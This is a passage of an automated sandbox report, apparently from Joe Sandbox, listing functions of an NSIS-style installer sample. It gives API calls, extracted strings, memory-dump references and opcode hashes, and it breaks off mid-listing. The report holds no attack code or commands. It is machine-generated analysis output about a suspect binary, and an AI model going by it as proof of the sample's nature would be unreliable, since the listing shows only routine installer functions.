COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

u+, xrefs: 00403632
Error launching installer, xrefs: 00403603
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
Inst, xrefs: 00403698
soft, xrefs: 004036A1
Null, xrefs: 004036AA

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$u+
API String ID: 4283519449-3463419070
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00424179,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

yAB, xrefs: 0040346F, 0040348A, 00403513
... %d%%, xrefs: 004034C8
(]C, xrefs: 004033FD
pAB, xrefs: 004033AB

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$yAB
API String ID: 651206458-2023174797
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00424179,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424179,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNELBASE(00000000), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C
%MxBearing%, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: %MxBearing%$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-4223719792
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNELBASE(00000000), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
%MxBearing%, xrefs: 00402770
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: %MxBearing%$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-2396929154
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Section: "%s", xrefs: 004050A5
Skipping section: "%s", xrefs: 004050E1

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424179,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

